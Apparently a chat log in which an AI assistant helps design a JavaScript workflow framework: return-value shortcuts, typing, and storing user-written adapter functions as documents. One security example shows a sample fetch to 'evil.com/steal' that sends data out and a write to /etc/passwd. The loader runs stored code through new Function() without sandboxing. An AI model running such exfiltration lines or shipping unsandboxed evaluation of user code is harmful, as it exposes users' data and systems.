Generators/workflows/builders are for different use cases (no-code, serialization, AI generation) - not for making JS "easier".
Is this the right understanding?
Jan 15
Yes - target.data is Verbose
The Problem
javascript
// Current (verbose)
const invoice = await coworker.run({...});
const payment = await coworker.run({
input: {
amount: invoice.target.data[0].amount,
customer: invoice.target.data[0].stripe_customer_id
}
});Too much typing for common case.
Solutions
Option 1: Getter Shorthand
javascript
// Add convenience getter on run_doc
Object.defineProperty(run_doc, 'data', {
get() {
return this.target.data;
}
});
// Usage
const invoice = await coworker.run({...});
const payment = await coworker.run({
input: {
amount: invoice.data[0].amount, // ✅ Shorter
customer: invoice.data[0].stripe_customer_id
}
});Still have [0] though.
Option 2: Auto-Unwrap Single Results
javascript
// If target.data has only one item, expose it directly
Object.defineProperty(run_doc, 'data', {
get() {
const arr = this.target.data;
return arr.length === 1 ? arr[0] : arr;
}
});
// Usage
const invoice = await coworker.run({...}); // Returns single invoice
const payment = await coworker.run({
input: {
amount: invoice.data.amount, // ✅ No [0]
customer: invoice.data.stripe_customer_id
}
});
const invoices = await coworker.run({...}); // Returns multiple invoices
invoices.data.forEach(inv => {...}); // ✅ Still array when multipleOption 3: Destructuring Helper
javascript
// Add method to extract data
run_doc.get = function() {
return this.target.data.length === 1
? this.target.data[0]
: this.target.data;
};
// Usage
const invoice = (await coworker.run({...})).get();
const payment = await coworker.run({
input: {
amount: invoice.amount, // ✅ Clean
customer: invoice.stripe_customer_id
}
});Option 4: Direct Return (Simplest)
javascript
// Make run() return data directly by default
coworker.run = async function(op) {
const run_doc = await this._exec(op);
// Return just the data for common case
if (run_doc.target.data.length === 1) {
return run_doc.target.data[0];
}
return run_doc.target.data;
};
// Usage
const invoice = await coworker.run({...});
const payment = await coworker.run({
input: {
amount: invoice.amount, // ✅ Cleanest
customer: invoice.stripe_customer_id
}
});
// If you need full run_doc, opt-in
const result = await coworker.run({
...,
options: { returnFullRunDoc: true }
});
// result.target.data
// result.target.schema
// result.successComparison
javascript
// Current
invoice.target.data[0].amount
// Option 1: Getter
invoice.data[0].amount
// Option 2: Auto-unwrap
invoice.data.amount
// Option 3: Helper method
invoice.get().amount
// Option 4: Direct return
invoice.amountRecommendation: Option 4 (Direct Return)
Why:
- Least verbose
- Most intuitive for common case
- Opt-in for full run_doc when needed
Implementation:
javascript
coworker.run = async function(op) {
const run_doc = { /* ... build run_doc ... */ };
// Execute
await this._exec(run_doc);
// Default: return simplified data
if (!op.options?.returnFullRunDoc) {
// Single result → unwrap
if (run_doc.target.data.length === 1) {
return run_doc.target.data[0];
}
// Multiple results → return array
return run_doc.target.data;
}
// Opt-in: return full run_doc
return run_doc;
};Usage:
javascript
// Common case - clean
const invoice = await coworker.run({
operation: 'select',
doctype: 'Invoice',
where: { id: 123 }
});
// invoice = { name: "INV-001", amount: 5000, ... }
const payment = await coworker.run({
operation: 'create_payment',
adapter: 'Stripe',
input: {
amount: invoice.amount, // ✅ Clean
customer: invoice.stripe_customer_id
}
});
// payment = { payment_id: "pi_123", status: "succeeded", ... }
// Multiple results
const invoices = await coworker.run({
operation: 'select',
doctype: 'Invoice',
where: { unpaid: true }
});
// invoices = [{ name: "INV-001", ... }, { name: "INV-002", ... }]
// When you need metadata/schema
const result = await coworker.run({
operation: 'select',
doctype: 'Invoice',
where: { id: 123 },
options: { returnFullRunDoc: true }
});
// result.target.data
// result.target.schema
// result.success
// result.durationEdge Cases
What about error handling?
javascript
// Throws on failure (so you can try/catch)
try {
const invoice = await coworker.run({...});
} catch (err) {
console.error(err.message);
// err.run_doc contains full context if needed
}What if data is empty?
javascript
// Empty array
const invoices = await coworker.run({
operation: 'select',
doctype: 'Invoice',
where: { id: 999999 } // Not found
});
// invoices = []
// Or throw if expected single result
const invoice = await coworker.run({
operation: 'select',
doctype: 'Invoice',
where: { id: 999999 },
options: { required: true } // Throws if empty
});Final Answer
Remove verbosity by returning data directly:
javascript
// Before
invoice.target.data[0].amount
// After
invoice.amountImplementation:
- Default:
run()returnsdata[0]for single results,datafor multiple - Opt-in:
options.returnFullRunDoc = truefor full run_doc access - Always throw on failure (run_doc attached to error)
This makes the "easy JS dialect" actually easy.
Jan 15
You're Right - IDE Won't Know the Shape
The Problem
javascript
const invoice = await coworker.run({
operation: 'select',
doctype: 'Invoice',
where: { id: 123 }
});
// IDE doesn't know what properties invoice has
invoice.amount // ❌ No autocomplete
invoice.customer_id // ❌ No type checking
invoice.stripe_id // ❌ Could be typo, no warningWithout types, you lose:
- Autocomplete
- Type checking
- Refactoring support
- Documentation on hover
Solutions
Option 1: Keep Full run_doc (Best for IDE)
javascript
const result = await coworker.run({
operation: 'select',
doctype: 'Invoice',
where: { id: 123 }
});
// Access via documented structure
const invoice = result.target.data[0];
// IDE knows:
// - result.target exists
// - result.target.data is an array
// - result.target.schema has structure info
// - result.success is booleanPros:
- ✅ IDE knows structure
- ✅ Consistent access pattern
- ✅ Schema always available
Cons:
- ❌ Verbose (
result.target.data[0])
Option 2: TypeScript Generics
typescript
// Define doctype interfaces
interface Invoice {
name: string;
amount: number;
customer_id: string;
stripe_customer_id: string;
}
// Generic run function
async run<T>(op: RunOperation): Promise<T> {
const run_doc = await this._exec(op);
return run_doc.target.data[0] as T;
}
// Usage with type hints
const invoice = await coworker.run<Invoice>({
operation: 'select',
doctype: 'Invoice',
where: { id: 123 }
});
// Now IDE knows!
invoice.amount // ✅ Autocomplete
invoice.customer_id // ✅ Type checking
invoice.xyz // ❌ Error: Property doesn't existPros:
- ✅ Full IDE support
- ✅ Clean syntax
- ✅ Compile-time safety
Cons:
- Requires TypeScript
- Need to maintain type definitions
Option 3: JSDoc Type Hints (JavaScript)
javascript
/**
* @typedef {Object} Invoice
* @property {string} name
* @property {number} amount
* @property {string} customer_id
* @property {string} stripe_customer_id
*/
/**
* @template T
* @param {Object} op
* @returns {Promise<T>}
*/
coworker.run = async function(op) {
// ...
};
// Usage
/** @type {Invoice} */
const invoice = await coworker.run({
operation: 'select',
doctype: 'Invoice',
where: { id: 123 }
});
// IDE has hints
invoice.amount // ✅ Autocomplete worksPros:
- ✅ Works in plain JavaScript
- ✅ IDE support (VS Code)
- No build step
Cons:
- Manual type annotations needed
- Less strict than TypeScript
Option 4: Runtime Type Generation from Schema
javascript
// Generate TypeScript definitions from schemas at build time
coworker.generateTypes = function() {
const schemas = this.getAllSchemas();
let ts = '';
for (const schema of schemas) {
ts += `interface ${schema.name} {\n`;
for (const field of schema.fields) {
const tsType = mapFieldTypeToTS(field.fieldtype);
ts += ` ${field.fieldname}: ${tsType};\n`;
}
ts += `}\n\n`;
}
fs.writeFileSync('types/doctypes.d.ts', ts);
};
// Generates:
// interface Invoice {
// name: string;
// amount: number;
// customer_id: string;
// stripe_customer_id: string;
// }Pros:
- ✅ Types always match schemas
- ✅ Single source of truth
- ✅ Full IDE support
Cons:
- Build step required
- TS/JS tooling needed
Option 5: Hybrid - Structured Access with Helpers
javascript
// Return structured object with helpers
coworker.run = async function(op) {
const run_doc = await this._exec(op);
return {
// Quick access (but no types)
data: run_doc.target.data[0] || run_doc.target.data,
// Full context (typed structure)
target: run_doc.target,
schema: run_doc.target.schema,
success: run_doc.success,
meta: run_doc.target.meta,
// Helper methods
get(path) {
// result.get('amount') with validation
},
validate() {
// Check against schema
}
};
};
// Usage
const result = await coworker.run({...});
// Quick access (no autocomplete)
const amount = result.data.amount;
// Typed access
const invoice = result.target.data[0]; // IDE knows structure
// Schema-driven access
const amount = result.get('amount'); // Runtime validationComparison
| Approach | IDE Support | Verbosity | Type Safety |
|---|---|---|---|
| Full run_doc | ✅ Structure | ❌ Verbose | ⚠️ Partial |
| TypeScript | ✅ Full | ✅ Clean | ✅ Full |
| JSDoc | ✅ Good | ⚠️ Manual | ⚠️ Weak |
| Generated Types | ✅ Full | ✅ Clean | ✅ Full |
| Hybrid | ⚠️ Mixed | ⚠️ Medium | ⚠️ Optional |
My Recommendation: TypeScript + Generated Types
typescript
// 1. Define schema (source of truth)
const InvoiceSchema = {
name: 'Invoice',
fields: [
{ fieldname: 'name', fieldtype: 'Data' },
{ fieldname: 'amount', fieldtype: 'Currency' },
{ fieldname: 'customer_id', fieldtype: 'Link' }
]
};
// 2. Generate TypeScript interface from schema
interface Invoice {
name: string;
amount: number;
customer_id: string;
}
// 3. Type-safe usage
const invoice = await coworker.run<Invoice>({
operation: 'select',
doctype: 'Invoice',
where: { id: 123 }
});
// 4. Full IDE support
invoice.amount // ✅ Autocomplete
invoice.customer_id // ✅ Known property
invoice.nonexistent // ❌ Compile errorPractical Trade-off
For JavaScript users who want clean syntax:
Keep result.target.data[0] but add shorthand:
javascript
// Structured (verbose but IDE-friendly)
const result = await coworker.run({...});
const invoice = result.target.data[0];
// Or shorthand helper
const invoice = result.first(); // Helper method
// Or destructuring
const { data: [invoice] } = await coworker.run({...});For TypeScript users:
typescript
const invoice = await coworker.run<Invoice>({...});
invoice.amount // Full IDE supportThe Reality
You have to choose:
- Clean syntax (
invoice.amount) → No IDE support - IDE support → Either verbose (
result.target.data[0].amount) or TypeScript
Can't have both in plain JavaScript because JavaScript is dynamically typed.
Final Answer
Best approach depends on your users:
If using TypeScript:
typescript
const invoice = await coworker.run<Invoice>({...});
invoice.amount // ✅ Clean + IDE supportIf using JavaScript:
javascript
const result = await coworker.run({...});
const invoice = result.target.data[0]; // Verbose but structured
// Or add helper
const invoice = result.first(); // Slightly betterThe verbosity of target.data[0] is the cost of structure in plain JavaScript. TypeScript solves this with generics.
Want to use TypeScript? Or prefer JavaScript with accepted verbosity?
10:55 AM
Architectural Questions: Storage & Convenience
Question 1: Function Storage & Reusability
Core Tension
Functions need to be:
- Pluggable (add/remove without changing core code)
- Reusable (use same function across multiple adapters)
- Discoverable (developer can find available functions)
- Versionable (update functions without breaking existing flows)
- Testable (run functions in isolation)
Storage Options
A) In Adapter Document
javascript
Adapter: Stripe = {
functions: {
parse_request: "function(input, config) { ... }",
execute: "async function(req, config) { ... }",
parse_response: "function(res, schema) { ... }"
}
}Reuse: ❌ Copy-paste between adapters Discovery: ⚠️ Search all adapter documents Versioning: ⚠️ Per-adapter versions diverge
B) Separate Function Library
javascript
// Function registry
FunctionLibrary = {
"http_post": "async function(url, body, headers) { ... }",
"format_stripe_customer": "function(input) { ... }",
"format_sendgrid_email": "function(input) { ... }",
"validate_email": "function(email) { ... }"
}
// Adapter references functions
Adapter: Stripe = {
operations: {
create_customer: {
parse_request: "format_stripe_customer", // Reference
execute: "http_post", // Reference
parse_response: "extract_customer_data" // Reference
}
}
}Reuse: ✅ Single definition, multiple references Discovery: ✅ Browse function library Versioning: ✅ Central version control
C) Hybrid (Common + Specific)
javascript
// Global reusable functions
GlobalFunctions = {
"http_post": "...",
"http_get": "...",
"validate_email": "..."
}
// Adapter-specific overrides
Adapter: Stripe = {
functions: {
parse_request: "function(input) { /* Stripe-specific */ }",
execute: "http_post" // Uses global
}
}📋 Questions for You:
Q1.1: Do multiple adapters share common functions?
- Example: Does Stripe AND PayPal both need
http_post? - Example: Does Stripe AND Braintree both need
format_payment_amount?
Q1.2: Who writes functions?
- Only you (centralized control)?
- Multiple developers (need collaboration)?
- End users (no-code function builder)?
Q1.3: How often do functions change?
- Stable (set once, rarely update)?
- Evolving (frequent improvements)?
- Experimental (rapid iteration)?
Q1.4: Do you need function versioning?
- "Use parse_request v2 for new customers, v1 for existing"?
- Or always use latest version?
Q1.5: How do developers discover available functions?
- Browse a list/catalog?
- Auto-complete in IDE?
- Documentation site?
- Search by capability ("functions that validate email")?
Question 2: Variable Access Convenience
Core Tension
Variables need to be:
- Accessible (easy to reference in code/config)
- Type-safe (IDE knows what properties exist)
- Traceable (know where data came from)
- Validated (catch errors early)
Access Patterns
A) Full Path (Current)
javascript
invoice.target.data[0].amountPro: Explicit structure Con: Verbose
B) Direct Unwrapping
javascript
invoice.amountPro: Clean Con: No IDE support, loses context
C) Destructuring
javascript
const { amount, customer_id } = result.target.data[0];Pro: Clean for multiple fields Con: Still verbose initial access
D) Accessor Methods
javascript
result.get('amount')
result.get('customer_id')Pro: Runtime validation against schema Con: String keys (no autocomplete)
E) Proxy Magic
javascript
result.$.amount
result.$.customer_idPro: Clean with validation Con: Magic, harder to understand
📋 Questions for You:
Q2.1: Who accesses variables most?
- You writing JS code (developer convenience)?
- No-code users writing
{{variable}}templates? - Both equally?
Q2.2: Is verbosity your main pain point?
javascript
// Pain level 1-10?
const amount = invoice.target.data[0].amount;
vs
const amount = invoice.amount;Q2.3: How important is IDE autocomplete?
- Critical (can't work without it)?
- Nice to have?
- Don't care (you know your schemas)?
Q2.4: How do you handle multiple results?
javascript
const invoices = await run({ operation: 'select', where: {...} });
// Do you usually want:
invoices[0].amount // First one
invoices.map(i => i.amount) // All of them
invoices.find(i => i.id === X) // Specific oneQ2.5: Do you use TypeScript or plain JavaScript?
- TypeScript → generics solve this
- JavaScript → need runtime approach
Q2.6: Template variable syntax - what feels natural?
javascript
// Option A: Full path
"{{invoice.target.data[0].amount}}"
// Option B: Shorthand
"{{invoice.amount}}"
// Option C: Step reference
"{{step_1.amount}}"
// Option D: Implicit context
"{{amount}}" // From previous stepQuestion 3: Cross-Cutting Concerns
📋 More Questions:
Q3.1: Error handling preference?
javascript
// Option A: Exceptions
try {
const payment = await run({...});
} catch (err) {
console.error(err.message);
}
// Option B: Result objects
const result = await run({...});
if (result.success) {
const payment = result.data;
} else {
console.error(result.error);
}Q3.2: Do you need middleware/hooks?
javascript
// Before every run
coworker.beforeRun((op) => {
console.log('Starting:', op.operation);
});
// After every run
coworker.afterRun((result) => {
logToAnalytics(result);
});Q3.3: Caching strategy?
javascript
// Same select query - return cached?
const invoice1 = await run({ operation: 'select', where: { id: 123 } });
const invoice2 = await run({ operation: 'select', where: { id: 123 } });
// Should invoice2 come from cache?Q3.4: Batch operations?
javascript
// Process multiple in one call?
const results = await run({
operation: 'create',
doctype: 'Invoice',
batch: [
{ customer: 'A', amount: 100 },
{ customer: 'B', amount: 200 },
{ customer: 'C', amount: 300 }
]
});Summary: What I Need to Know
For Function Storage:
- Are functions shared across adapters? How much?
- Who writes/maintains functions?
- Update frequency and versioning needs?
- Discovery mechanism preference?
For Variable Access:
- Primary user (developer vs no-code)?
- Pain level of
target.data[0]verbosity? - Importance of IDE support?
- TypeScript or JavaScript?
- Template syntax preference?
For Overall Design:
- Error handling style preference?
- Need for hooks/middleware?
- Caching requirements?
- Batch operation needs?
Please answer what resonates most strongly - these will guide the architectural decisions toward YOUR specific convenience needs.
10:57 AM
Key Constraints Identified
Your Answers Shape Everything
1. Multiple adapters share functions: YES 2. End users write functions 3. Functions are stable (set once, rarely update)
This Changes The Architecture Significantly
Implication 1: Shared Function Library is Essential
javascript
// WRONG: Functions duplicated in each adapter
Adapter: Stripe = {
functions: {
http_post: "async function(...) { /* duplicate code */ }"
}
}
Adapter: SendGrid = {
functions: {
http_post: "async function(...) { /* duplicate code */ }"
}
}
// RIGHT: Shared function library
FunctionLibrary = {
http_post: "async function(url, body, headers) { ... }",
validate_email: "function(email) { ... }",
format_currency: "function(amount) { ... }"
}
Adapter: Stripe = {
operations: {
create_payment: {
functions: ["http_post", "format_currency"] // References
}
}
}
Adapter: SendGrid = {
operations: {
send_email: {
functions: ["http_post", "validate_email"] // References
}
}
}Implication 2: End Users Need Discoverability
End users can't write functions if they don't know what exists.
javascript
// User needs to see:
// 1. List of available functions
// 2. What each function does
// 3. What parameters it takes
// 4. Example usage
FunctionLibrary = {
http_post: {
description: "Make HTTP POST request",
parameters: [
{ name: "url", type: "string", required: true },
{ name: "body", type: "object", required: true },
{ name: "headers", type: "object", required: false }
],
returns: { type: "object", description: "HTTP response" },
example: "http_post('https://api.stripe.com/customers', { email: 'test@example.com' }, { 'Authorization': 'Bearer sk_...' })",
code: "async function(url, body, headers = {}) { ... }"
}
}Implication 3: Stability Means Less Versioning Complexity
Good news: Don't need complex version management.
javascript
// Simple approach works
FunctionLibrary = {
http_post: "...", // Just latest version
validate_email: "..."
}
// Not needed:
FunctionLibrary = {
http_post_v1: "...",
http_post_v2: "...",
http_post_v3: "..."
}But still need immutability protection:
javascript
// Once user creates adapter using http_post,
// changing http_post could break their adapter
// Solution: Copy-on-reference?Critical Question: End User Function Creation
"End users write functions" raises big questions:
Q1: How do end users write functions?
Option A: Text editor (code)
javascript
// User types JavaScript in a text box
function parse_my_api_response(response) {
return {
id: response.data.customerId,
email: response.data.email
};
}Risk: Security (eval), syntax errors, no validation
Option B: Visual function builder (no-code)
javascript
// User clicks through UI:
// 1. "Extract field" → response.data.customerId → Save as "id"
// 2. "Extract field" → response.data.email → Save as "email"
// 3. "Return object"
// Generates:
function(response) {
return {
id: response.data.customerId,
email: response.data.email
};
}Risk: Limited to predefined operations
Option C: AI-assisted
javascript
// User describes: "Extract customer ID and email from response"
// AI generates function
// User reviews and savesRisk: Unpredictable output, needs validation
Q2: Where do user-created functions live?
javascript
// Global (everyone can use)?
GlobalFunctions = {
system_http_post: "...", // System-provided
user_parse_shopify: "...", // User A created
user_format_invoice: "..." // User B created
}
// Private (only creator can use)?
User_A_Functions = {
parse_shopify: "...",
format_invoice: "..."
}
// Hybrid (create private, opt-in to share)?
PrivateFunctions = { ... }
SharedFunctions = { ... } // User explicitly publishes hereQ3: Can users modify shared functions?
javascript
// User A creates parse_email
// User B's adapter uses parse_email
// User A wants to update parse_email
// Option 1: Update in place (breaks User B?)
// Option 2: Create new version (parse_email_v2)
// Option 3: Copy-on-use (User B has independent copy)Proposed Architecture Based on Your Constraints
1. Two-Tier Function Library
javascript
// TIER 1: System Functions (you provide, stable, shared)
SystemFunctions = {
http_get: { code: "...", description: "...", params: [...] },
http_post: { code: "...", description: "...", params: [...] },
http_put: { code: "...", description: "...", params: [...] },
validate_email: { code: "...", description: "...", params: [...] },
format_currency: { code: "...", description: "...", params: [...] }
}
// TIER 2: User Functions (end users create, private by default)
UserFunctions = {
owner: "user@example.com",
functions: {
parse_shopify_response: { code: "...", description: "..." },
format_my_dates: { code: "...", description: "..." }
}
}2. Function Reference in Adapters
javascript
Adapter: MyShopifyIntegration = {
owner: "user@example.com",
operations: {
sync_products: {
parse_request: {
type: "function",
ref: "system:http_post" // System function
},
parse_response: {
type: "function",
ref: "user:parse_shopify_response" // User function
}
}
}
}
```
### 3. Function Discovery UI
```
┌─────────────────────────────────────────┐
│ Function Library │
├─────────────────────────────────────────┤
│ System Functions (12) │
│ 📡 http_post │
│ 📡 http_get │
│ ✉️ validate_email │
│ 💰 format_currency │
│ │
│ My Functions (3) │
│ 🔧 parse_shopify_response │
│ 📅 format_my_dates │
│ 🔄 transform_data │
│ │
│ [+ Create New Function] │
└─────────────────────────────────────────┘Next Critical Questions
Q4: Function Creation Flow
When end user creates adapter, how do they add custom logic?
javascript
// Scenario: User wants to integrate with custom API
// that returns non-standard format
// Option A: Inline function (attached to this adapter only)
Adapter: MyCustomAPI = {
operations: {
get_data: {
parse_response: "function(res) { return { id: res.weird_id }; }"
}
}
}
// Option B: Create reusable function first, then reference
// Step 1: Create function
Function: parse_custom_api = "function(res) { ... }"
// Step 2: Reference in adapter
Adapter: MyCustomAPI = {
operations: {
get_data: {
parse_response: { ref: "user:parse_custom_api" }
}
}
}Which workflow feels more natural for end users?
Q5: Function Testing
How do users test their functions before using in production?
javascript
// Test playground?
testFunction('parse_shopify_response', {
data: { customerId: 123, email: 'test@example.com' }
});
// Returns: { id: 123, email: 'test@example.com' }Q6: Security Constraints
What can user functions do?
javascript
// Allowed:
function(input) {
return {
formatted: input.toUpperCase(),
length: input.length
};
}
// Not allowed:
function(input) {
require('fs').writeFileSync('/etc/passwd', 'hack'); // ❌
fetch('https://evil.com/steal?data=' + input); // ❌
while(true) {} // ❌ Infinite loop
}Do you need sandboxing? Resource limits? Network restrictions?
Summary: What to Decide
Based on "end users write functions" + "functions are shared":
MUST DECIDE:
- ✅ Shared function library (confirmed needed)
- ❓ How do users write functions? (code editor / visual builder / AI)
- ❓ Private vs shared user functions?
- ❓ Inline vs referenced function workflow?
- ❓ Function testing mechanism?
- ❓ Security/sandboxing requirements?
Answer these and the architecture becomes clear.
10:59 AM
Brilliant Insight - Functions ARE Documents
Your Point
Instead of separate "function library", functions are just documents in a Functions doctype:
javascript
// Query for all functions
const functionsRun = await coworker.run({
operation: 'select',
doctype: 'Function'
});
// Access all functions
const allFunctions = functionsRun.target.data;
// [
// { name: "http_post", code: "...", description: "..." },
// { name: "validate_email", code: "...", description: "..." },
// ...
// ]Why This is Better
1. Consistency
Functions follow the same pattern as everything else:
javascript
// Select tasks
await run({ operation: 'select', doctype: 'Task' })
// Select users
await run({ operation: 'select', doctype: 'User' })
// Select functions (same pattern!)
await run({ operation: 'select', doctype: 'Function' })2. CRUD Works Automatically
javascript
// Create function
await run({
operation: 'create',
doctype: 'Function',
input: {
name: 'parse_shopify_response',
code: 'function(response) { return {...}; }',
description: 'Parse Shopify API response',
parameters: ['response']
}
});
// Update function
await run({
operation: 'update',
doctype: 'Function',
where: { name: 'parse_shopify_response' },
input: { code: 'function(response) { /* updated */ }' }
});
// Delete function
await run({
operation: 'delete',
doctype: 'Function',
where: { name: 'parse_shopify_response' }
});3. Permissions Work Automatically
javascript
// Function schema with permissions
Schema: Function = {
name: "Function",
fields: [
{ fieldname: "name", fieldtype: "Data" },
{ fieldname: "code", fieldtype: "Long Text" },
{ fieldname: "description", fieldtype: "Text" }
],
permissions: [
{ role: "System Manager", read: 1, write: 1, create: 1, delete: 1 },
{ role: "Developer", read: 1, write: 1, create: 1 },
{ role: "User", read: 1 }
]
}4. Queries Work Automatically
javascript
// Find functions by user
await run({
operation: 'select',
doctype: 'Function',
where: { owner: 'user@example.com' }
});
// Search functions
await run({
operation: 'select',
doctype: 'Function',
where: { description: { like: '%email%' } }
});
// Get specific function
await run({
operation: 'select',
doctype: 'Function',
where: { name: 'http_post' }
});Function Schema
javascript
DocType: Function = {
name: "Function",
fields: [
{ fieldname: "name", fieldtype: "Data", required: 1, unique: 1 },
{ fieldname: "code", fieldtype: "Long Text", required: 1 },
{ fieldname: "description", fieldtype: "Text" },
{ fieldname: "parameters", fieldtype: "JSON" }, // [{ name: "input", type: "object" }]
{ fieldname: "returns", fieldtype: "JSON" }, // { type: "object" }
{ fieldname: "category", fieldtype: "Select" }, // "http", "validation", "formatting"
{ fieldname: "tags", fieldtype: "JSON" }, // ["api", "stripe", "payment"]
{ fieldname: "example", fieldtype: "Long Text" },
{ fieldname: "is_system", fieldtype: "Check" }, // System vs user function
// Standard Frappe fields (automatic)
{ fieldname: "owner", fieldtype: "Link", options: "User" },
{ fieldname: "creation", fieldtype: "Datetime" },
{ fieldname: "modified", fieldtype: "Datetime" }
],
permissions: [
{ role: "System Manager", read: 1, write: 1, create: 1, delete: 1 },
{ role: "Developer", read: 1, write: 1, create: 1 },
{ role: "User", read: 1 }
]
}Adapter References Functions
javascript
DocType: Adapter = {
name: "Adapter",
fields: [
{ fieldname: "name", fieldtype: "Data" },
{ fieldname: "config", fieldtype: "JSON" }, // api_key, base_url, etc.
// Operations reference functions by name
{ fieldname: "operations", fieldtype: "JSON" }
// [
// {
// name: "create_payment",
// target_doctype: "StripePayment",
// parse_request: "format_stripe_request", // Function name
// execute: "http_post", // Function name
// parse_response: "parse_stripe_response" // Function name
// }
// ]
]
}Runtime: Load Functions
javascript
// When executing adapter
coworker._execAdapter = async function(run_doc) {
const adapter = run_doc.options.adapter;
const operation = adapter.operations.find(op => op.name === run_doc.operation);
// Load functions by name
const parse_request_fn = await this._loadFunction(operation.parse_request);
const execute_fn = await this._loadFunction(operation.execute);
const parse_response_fn = await this._loadFunction(operation.parse_response);
// Execute pipeline
const parsed_request = parse_request_fn(run_doc.input, adapter.config);
const http_response = await execute_fn(parsed_request, adapter.config);
const normalized = parse_response_fn(http_response, run_doc.target.schema);
run_doc.target.data = [normalized];
};
coworker._loadFunction = async function(functionName) {
// Check cache first
if (this._functionCache.has(functionName)) {
return this._functionCache.get(functionName);
}
// Load from database
const result = await this.run({
operation: 'select',
doctype: 'Function',
where: { name: functionName },
options: { render: false }
});
if (!result.target.data.length) {
throw new Error(`Function not found: ${functionName}`);
}
const functionDoc = result.target.data[0];
// Deserialize code
const fn = new Function('return ' + functionDoc.code)();
// Cache
this._functionCache.set(functionName, fn);
return fn;
};Discovery UI
javascript
// List all functions
const functionsRun = await coworker.run({
operation: 'select',
doctype: 'Function',
select: ['name', 'description', 'category'],
order_by: 'category, name'
});
// Display in UI
functionsRun.target.data.forEach(fn => {
console.log(`${fn.name} - ${fn.description}`);
});
// Output:
// http_post - Make HTTP POST request
// http_get - Make HTTP GET request
// validate_email - Validate email format
// format_currency - Format amount as currency
// parse_stripe_response - Parse Stripe API responseBenefits Summary
✅ Everything is a Document
- Functions are documents
- Adapters are documents
- Both follow same CRUD patterns
✅ Permissions Built-in
- Who can read functions?
- Who can create/update functions?
- Standard role-based access control
✅ Queries Built-in
- Search functions by description
- Filter by owner
- Filter by category/tags
✅ Versioning Built-in (if needed)
javascript
// Standard Frappe document versioning
{ fieldname: "version", fieldtype: "Int" }
// Multiple versions
Function: http_post_v1
Function: http_post_v2✅ Audit Trail Built-in
javascript
// Who created this function?
functionDoc.owner
// When was it last modified?
functionDoc.modified
// Who modified it?
functionDoc.modified_byNo Separate "Library"
Instead of:
javascript
FunctionLibrary = {
http_post: "...",
validate_email: "..."
}Just:
javascript
// Functions are in the database like everything else
await run({ operation: 'select', doctype: 'Function' })
```
---
## The Architecture Simplifies
```
Everything is a Document:
├─ Task documents (CRUD)
├─ User documents (CRUD)
├─ Function documents (CRUD) ← Functions are just documents
└─ Adapter documents (CRUD, reference Function documents by name)
No special "library" concept needed
No separate storage mechanism
Everything uses the same run() interfaceFinal Answer
Yes, you're absolutely right:
Functions should be documents in a Function doctype, not a separate "library" concept.
javascript
// Discover functions
const functions = await run({ operation: 'select', doctype: 'Function' });
// Create function
await run({ operation: 'create', doctype: 'Function', input: {...} });
// Use function (referenced by name in adapter)
Adapter.operations[0].parse_request = "function_name_here"This is the Frappe way - everything is a document, everything uses the same patterns.
11:01 AM
You're Right - Functions Inside Adapter Document
Your Point
Functions belong inside the Adapter document because they're adapter-specific:
javascript
Adapter: Stripe = {
name: "Stripe",
config: {
api_key: "...",
base_url: "..."
},
// Functions stored here
functions: {
format_stripe_request: "function(input, config) { ... }",
parse_stripe_response: "function(response, schema) { ... }",
http_post: "async function(url, body, headers) { ... }"
},
operations: [
{
name: "create_payment",
target_doctype: "StripePayment",
parse_request: "format_stripe_request", // Reference to functions above
execute: "http_post",
parse_response: "parse_stripe_response"
}
]
}Why This Makes Sense
1. Co-location
Functions live with the adapter that uses them:
javascript
// Everything in one place
Adapter: Stripe
├─ config: { api_key, base_url }
├─ functions: { format_stripe_request, http_post, ... }
└─ operations: [{ uses functions above }]
// vs scattered approach
Adapter: Stripe → references → Function: format_stripe_request (separate document)
→ Function: http_post (separate document)2. Self-Contained
Adapter document contains everything needed to execute:
javascript
// Load adapter = get everything
const adapter = await run({
operation: 'select',
doctype: 'Adapter',
where: { name: 'Stripe' }
});
// adapter.target.data[0] has:
// - config (credentials)
// - functions (logic)
// - operations (definitions)
// Ready to execute, no additional queries needed3. Discovery via Adapter Query
javascript
// Get all adapters
const adapters = await run({
operation: 'select',
doctype: 'Adapter'
});
// Each adapter has its functions
adapters.target.data.forEach(adapter => {
console.log(`${adapter.name} functions:`, Object.keys(adapter.functions));
});
// Output:
// Stripe functions: ["format_stripe_request", "http_post", "parse_stripe_response"]
// SendGrid functions: ["format_email", "http_post", "parse_email_response"]
// OpenAI functions: ["format_chat_request", "http_post", "parse_chat_response"]But What About Shared Functions?
The Problem
javascript
Adapter: Stripe = {
functions: {
http_post: "async function(url, body) { /* 50 lines */ }"
}
}
Adapter: SendGrid = {
functions: {
http_post: "async function(url, body) { /* same 50 lines duplicated */ }"
}
}
Adapter: OpenAI = {
functions: {
http_post: "async function(url, body) { /* same 50 lines duplicated */ }"
}
}Duplication problem.
Solution: Hybrid Approach
System Functions (Global)
javascript
// Built-in functions available to all adapters
SystemFunctions = {
http_post: "async function(url, body, headers) { ... }",
http_get: "async function(url, headers) { ... }",
validate_email: "function(email) { ... }",
format_currency: "function(amount) { ... }"
}Adapter Functions (Local)
javascript
Adapter: Stripe = {
functions: {
// Adapter-specific functions only
format_stripe_request: "function(input, config) { ... }",
parse_stripe_response: "function(response, schema) { ... }"
// No http_post here - uses system function
},
operations: [
{
name: "create_payment",
parse_request: "format_stripe_request", // Local function
execute: "http_post", // System function
parse_response: "parse_stripe_response" // Local function
}
]
}Function Resolution Logic
javascript
coworker._loadFunction = function(functionName, adapter) {
// 1. Check adapter's local functions first
if (adapter.functions[functionName]) {
return deserialize(adapter.functions[functionName]);
}
// 2. Check system functions
if (SystemFunctions[functionName]) {
return deserialize(SystemFunctions[functionName]);
}
// 3. Not found
throw new Error(`Function not found: ${functionName}`);
};Where Do System Functions Live?
Option A: Hardcoded in coworker.js
javascript
// In coworker core
coworker.SystemFunctions = {
http_post: async function(url, body, headers = {}) {
const response = await fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...headers },
body: JSON.stringify(body)
});
return {
status: response.status,
headers: Object.fromEntries(response.headers),
body: await response.json()
};
},
http_get: async function(url, headers = {}) {
const response = await fetch(url, {
method: 'GET',
headers
});
return {
status: response.status,
headers: Object.fromEntries(response.headers),
body: await response.json()
};
},
validate_email: function(email) {
const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return re.test(email);
},
format_currency: function(amount, currency = 'USD') {
return new Intl.NumberFormat('en-US', {
style: 'currency',
currency
}).format(amount);
}
};Option B: System Adapter Document
javascript
// Special adapter that holds common functions
Adapter: System = {
name: "System",
